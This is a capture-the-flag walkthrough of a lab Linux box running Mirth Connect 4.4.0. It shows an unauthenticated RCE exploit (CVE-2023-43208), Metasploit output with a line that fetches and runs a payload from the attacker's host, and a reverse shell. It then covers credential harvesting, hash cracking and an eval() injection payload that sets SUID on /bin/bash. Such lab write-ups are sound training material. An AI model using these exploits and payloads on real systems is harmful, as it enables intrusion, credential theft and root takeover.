Overview

Interpreter is a medium Linux box built around Mirth Connect, an open-source healthcare integration platform. The attack chain involves identifying an unauthenticated RCE CVE, troubleshooting a non-cooperative Metasploit module, harvesting database credentials from a config file, cracking a slow PBKDF2 hash for lateral movement, and then escalating privileges by exploiting a Python eval() injection in a root-owned Flask service, bypassing a regex filter along the way.


Reconnaissance

As always, we confirm the host is up with a ping then kick off a full port scan:

nmap -sV -sC -T4 -O -p- 10.129.2.36
Port Service Notes
22/tcp OpenSSH 9.2p1 Potentially CVE-2024-6387, save for later
80/tcp HTTP Mirth Connect Administrator UI
443/tcp HTTPS Mirth Connect Administrator UI (SSL)
6661/tcp Unknown Revealed later as Mirth Connect’s HL7 TCP listener

Navigating to the web interface lands us on a Mirth Connect admin login. Clicking “Access Secure Site” takes us to the login form. A quick search shows the default credentials are admin/admin, no luck here though.

The page also has a “Launch Mirth Connect Administrator” button which downloads a file called webstart.jnlp. Opening it and reading through the content leaks the exact version: Mirth Connect 4.4.0.

A quick Google search confirms this version is vulnerable to CVE-2023-43208, an unauthenticated RCE.


Initial Foothold: CVE-2023-43208

Let’s check if Metasploit has a module:

msfconsole
search CVE-2023-43208

There it is: exploit/multi/http/mirth_connect_cve_2023_43208. Let’s set it up:

use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOST 10.129.2.36
set RPORT 443
set verbose true
run

The output looks promising at first:

[*] Command to run on remote host: curl -so ./MPkXyrnKjT http://10.10.14.45:8080/ooRgrrvLQVEKAUAIV1w8Mw;chmod +x ./MPkXyrnKjT;./MPkXyrnKjT&
[*] Fetch handler listening on 10.10.14.45:8080
[*] HTTP server started
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable.
[*] Executing cmd/linux/http/aarch64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Exploit completed, but no session was created.

The exploit ran, but no session. The verbose output tells us what’s happening, the module is using a cmd/linux/http payload, which works by having the target curl a binary back from our machine. The target never makes that request. tcpdump on port 8080 confirms zero inbound traffic, the target is blocking outbound connections.

When you see “exploit completed, but no session was created” and tcpdump is silent on your fetch port, skip staged payloads entirely and go manual.

There’s another popular PoC at https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT but it has a ton of dependency issues that aren’t worth untangling. This one works cleanly with minimal requirements:

git clone https://github.com/az4rvs/Mirth-Connect-CVE-2023-43208
cd Mirth-Connect-CVE-2023-43208

Start a listener, then fire the exploit:

nc -lvnp 4444
python3 mirth_rce.py https://10.129.2.36 10.10.14.45 4444

Shell lands as the mirth user inside /usr/local/mirthconnect. Quick kernel check:

uname -a
# Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 GNU/Linux

6.1.0-43 from February 2026 is recent and well-patched, unlikely to have easy kernel exploits. Time to enumerate properly.


Post-Exploitation Enumeration

First, let’s get LinPEAS on the box for a broad look:

# On attacker machine
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080

# On target
wget http://10.10.14.45:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

While LinPEAS runs, let’s dig into Mirth’s config manually. It’s well known that Mirth Connect stores database credentials in plaintext at a predictable path:

cat /usr/local/mirthconnect/conf/mirth.properties
# database credentials
database.username = mirthdb
database.password = MirthPass123!

Password reuse is always worth a quick check. ls /home shows there’s a user called sedric:

su sedric           # Password: MirthPass123!, fails
ssh sedric@localhost # Same, fails

No luck. Let’s check running processes for anything interesting owned by root:

ps aux | grep root
root  3549  0.0  0.7  113604  31492  ?  Ss  14:11  0:01  /usr/bin/python3 /usr/local/bin/notif.py

A Python script running as root is always a red flag. Let’s check if it’s listening on anything:

ss -tlnp
LISTEN  0  128  127.0.0.1:54321  0.0.0.0:*  users:(("python3",pid=3556,fd=5))

notif.py is running a service on localhost port 54321. An ls -la on the file confirms it’s owned by root and only readable by sedric, so we can’t look at it yet. We note it and move on to MySQL.


Database Enumeration

mysql -u mirthdb -p
# Password: MirthPass123!
SHOW DATABASES;

Two databases: information_schema and mc_bdd_prod (the Mirth production database).

USE mc_bdd_prod;
SHOW TABLES;

The obvious targets are PERSON and PERSON_PASSWORD, but before going straight for those it’s worth enumerating the other tables. After working through all of them, the most valuable one turns out to be CHANNEL.

CHANNEL Table: Discovering the Internal Service

SELECT * FROM CHANNEL\G

Inside the XML config for the channel “INTERPRETER - HL7 TO XML TO NOTIFY”, the destination connector section reveals something useful:

<host>http://127.0.0.1:54321/addPatient</host>

To understand what this means: in Mirth Connect, a channel has two connectors. The source connector is where data comes in, here a TCP listener on port 6661 receiving HL7 messages. The destination connector is where the processed data gets sent. Here it’s an HTTP Sender that POSTs transformed XML to 127.0.0.1:54321/addPatient.

Combined with what we saw in ps aux, the picture is complete: notif.py is the Flask service receiving those POST requests on port 54321. This is our privesc path, once we’re sedric.

PERSON_PASSWORD Table: sedric’s Hash

SELECT * FROM PERSON_PASSWORD\G
PERSON_ID: 2
 PASSWORD: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
PASSWORD_DATE: 2025-09-19 09:22:28

Generic tools like hash-identifier and crackstation won’t recognise this. The right approach is to check the application’s own changelog, Mirth Connect 4.4.0 changed its password hashing to PBKDF2-HMAC-SHA256 with 600,000 iterations, which maps to hashcat mode 10900.


Lateral Movement: Cracking sedric’s Hash

The hash needs to be formatted correctly before hashcat will accept it for mode 10900. Since no salt is stored in the database, we use a double colon as an empty salt field:

echo "sha256:600000::u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" > hash.txt

hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -w 3 -d 1 -O

Note on speed: PBKDF2-600k is intentionally slow by design. Even an Apple M4 only manages around 434 H/s, which makes a full rockyou run take 9+ hours. Don’t sit and wait, keep enumerating the box while it runs. For real engagements, cloud GPU (Vast.ai, Runpod) would crack this in seconds.

After a while, hashcat comes back with the result: snowflake1

ssh sedric@10.129.244.184
# Password: snowflake1

cat ~/user.txt

User flag grabbed.


Privilege Escalation: notif.py eval() Injection

Now as sedric we can finally read the script:

cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
Listens for XML messages containing patient info and writes
formatted notifications to /var/secure-health/patients/.
Designed to be run locally and only accepts requests from
MirthConnect running on the same machine.
"""
from flask import Flask, request, abort
import re, uuid, os
from datetime import datetime
import xml.etree.ElementTree as ET

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"
os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}),  years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")  # <-- vulnerability
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    xml_text = request.data.decode()
    xml_root = ET.fromstring(xml_text)
    patient = xml_root if xml_root.tag == "patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in
            ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"], data["lastname"], data["sender_app"],
                            data["timestamp"], data["birth_date"], data["gender"])
    with open(os.path.join(USER_DIR, f"{id}.txt"), "w") as f:
        f.write(notification + "\n")
    return notification

if __name__ == "__main__":
    app.run("127.0.0.1", 54321, threaded=True)

The vulnerability is right here:

template = f"Patient {first} {last} ({gender}), ..."
return eval(f"f'''{template}'''")

The function builds an f-string from user-controlled input and then evals it. Anything inside {} in our input gets executed as Python code at runtime, as root.

Bypassing the Regex

There’s an input filter:

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

Allowed characters: a-z A-Z 0-9 . _ ' " ( ) { } = + /, but critically, no spaces and no commas.

The first obvious payload gets blocked immediately, commas in the arguments don’t pass the filter:

# Fails: commas are not in the allowed set
{__import__("os").chmod("/bin/bash",0o4755)}

After some thought, the solution is simple: write the privesc logic to a shell script first, then call it from the injection using just its path. No spaces, no commas, just a clean file path that passes the regex.

Step 1: Create the privesc script

nano /tmp/pwn.sh
#!/bin/bash
chmod 4755 /bin/bash
chmod +x /tmp/pwn.sh

Step 2: Inject via the eval() vulnerability

The path /tmp/pwn.sh passes the regex without issue. We call it via os.system(), already imported in the script, through the gender field:

wget -qO- \
  --header="Content-Type: text/plain" \
  --post-data='<patient>
    <firstname>test</firstname>
    <lastname>test</lastname>
    <sender_app>test</sender_app>
    <timestamp>20250101</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>{os.system("/tmp/pwn.sh")}</gender>
  </patient>' \
  http://127.0.0.1:54321/addPatient

Step 3: Get root shell

ls -la /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash  ← SUID bit is set

/bin/bash -p
whoami
# root

cat /root/root.txt

Root flag grabbed.


Attack Chain Summary

Step Detail
Recon nmap → Mirth Connect 4.4.0 on port 443 → CVE-2023-43208
Foothold Metasploit fails (outbound blocked) → manual PoC → shell as mirth
Creds mirth.properties → MySQL creds (mirthdb:MirthPass123!)
Internal discovery CHANNEL table → 127.0.0.1:54321/addPatient + ps auxnotif.py running as root
Hash PERSON_PASSWORD table → PBKDF2-HMAC-SHA256 → hashcat mode 10900 → snowflake1
User flag SSH as sedric~/user.txt
Privesc Read notif.pyeval() injection → regex bypass via /tmp/pwn.sh → SUID /bin/bash → root
Root flag /bin/bash -p/root/root.txt